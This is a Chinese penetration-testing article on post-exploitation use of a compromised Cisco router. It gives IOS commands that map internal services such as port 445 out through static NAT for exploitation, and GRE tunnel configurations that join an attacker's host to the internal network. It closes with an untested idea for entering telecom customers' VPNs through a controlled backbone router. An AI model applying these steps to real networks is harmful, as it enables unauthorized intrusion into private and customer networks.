渗透测试之cisco路由器在渗透中的利用

发表于:2018-2-06 10:13

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:ph0en1x    来源:嘶吼

  相信很多朋友在做渗透测试的过程中,经常会遇到一些路由器等网络设备,那么,在我们获得路由器的最高操作权限,具有修改路由器配置的情况下,可以进行哪些操作呢,本文将结合作者之前的测试案例,介绍两种cisco路由器在渗透过程中的利用方法,以及一次在获得某电信网络骨干路由器权限后的思考。
  一、端口映射,各个击破
  路由器端口映射就是在路由器开放一个端口,并将该端口映射到相应的主机端口。当外网有数据访问路由器开放的端口时,路由器直接将来该端口的所有数据转发到相应的主机端口。
  通过互联网获得的路由器设备,最常见的网络拓扑如下图:
  路由器内网连接着多个服务器,但是无法从外网访问,这时如果我们知道它们所开放的服务,就可以通过路由器端口映射的方法,将内网的服务端口映射到路由器的外网地址,从而实现对内网服务的访问,配置代码如下:
  route>en
  Password:
  route#conf t
  route(config)#ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081 
  route(config)#exit
  route#wr
  上述配置是将内网192.168.1.13服务器的80端口,映射到外网23.23.23.23的8081端口上,如果要删除这条配置,代码如下:
  route(config)#no ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081
  tips:
  1、由于对路由器配置进行修改,操作完毕后要及时删除添加的配置;
  2、映射到外网端口时,要考虑防火墙的问题,选择允许访问的端口;
  3、利用这种方法可以将内网主机的445等常见漏洞端口映射出来,进行溢出测试,由于是内网,服务器系统相对老旧,补丁也不全,说不定会有意外惊喜。
  二、隧道搭建,直搞黄龙
  GRE(Generic routing encapsulation)通用路由封装是一种隧道协议,能够在IP隧道中封装各种网络层协议的分组,从而创建虚拟点到点链路。利用GRE协议搭建隧道,实现将本地主机加入到目标路由器所在的内网的功能,可以忽略网络的连接,随意进行内网测试,只不过此时本地也需要一台支持GRE协议的路由器。
  (对GRE协议以及GRE数据包格式不了解的同学可以自行学习)
  此时的网络结构大致如下:
  
  目标路由器连接着一个内网,地址段为192.168.1.0/24,而此时,通过对目标路由器B和本地路由器A进行GRE的配置,就可实现本地主机(192.168.1.211)加入目标网络,成为网络中的一个节点,就像访问本地局域网一样。
  目标路由器_B的配置:
  interface Ethernet0/1   #内网接口
  ip address 192.168.1.1 255.255.255.0
  interface Serial0/0    #外网接口
  ip address 13.13.13.13 255.255.255.0   #外网地址
  interface Tunnel0   #隧道名称
  ip address 1.1.1.1 255.255.255.0    #隧道地址,此地址可以随意填写
  tunnel source Serial0/0       #隧道源地址,即外网接口地址
  tunnel destination 12.12.12.12    #隧道目的地址,即对端路由器外网接口地址
  ip route 192.168.1.211 255.255.255.255 Tunnel0   #路由信息,通过Tunnel0接口访问本地主机
  本地路由器_A的配置:
  interface Ethernet0/1   #内网接口
  ip address 192.168.1.1 255.255.255.0
  interface Serial0/0    #外网接口
  ip address 12.12.12.12 255.255.255.0   #外网地址
  interface Tunnel1   #隧道名称
  ip address 2.2.2.2 255.255.255.0    #隧道地址,此地址可以随意填写
  tunnel source Serial0/0       #隧道源地址,即外网接口地址
  tunnel destination 13.13.13.13    #隧道目的地址,即对端路由器外网接口地址
  ip route 0.0.0.0 0.0.0.0 Tunnel1   #路由信息,本地主机的所有数据都从Tunnel0接口发出
  两个路由器经过上述配置后,本地主机与目标路由器内网就处在一个网络中,方便下一步的渗透测试。
  tips:
  1、通过目标路由器配置GRE隧道,必须要求本地具有一台支持GRE协议的路由器;
  2、GRE隧道是点对点连接,所以本地路由器必须有一个独立的外网地址;
  3、上述GRE隧道不加密,为明文传输,具有一定风险;
  4、要确保本地主机的IP地址与目标路由器内网的主机IP不冲突。
  三、对某电信网络骨干路由器利用的思考
  曾经,一个偶然的机会,获得了某电信网络骨干路由器的控制权,也就是传说中的MPLS VPN网络中的PE路由器(边界路由器) , 通过show run配置,发现其上配置了大量的VPN网络,每个VPN网络就是一个Tunnel接口,相同用户VPN网络使用同一个VRF号,通过每个Tunnel接口以及VRF号的描述信息,很容易知道每个Tunnel和VRF对应的用户信息。
  由于使用的是GRE协议配置的VPN网络,所以就设想,利用上述搭隧道的方法,本地路由器充当一台CE,应该可以实现将本地的主机加入任意VPN网络,只需要在本地路由器配置Tunnel接口时,使用相同的VRF号。
  上述想法虽然未经测试,但本人觉得这个思路应该能够实现。
  注:本文代码与思路完全公开,请仅作学习交流使用,不要对号入座,其余用途与本文作者无关。

上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号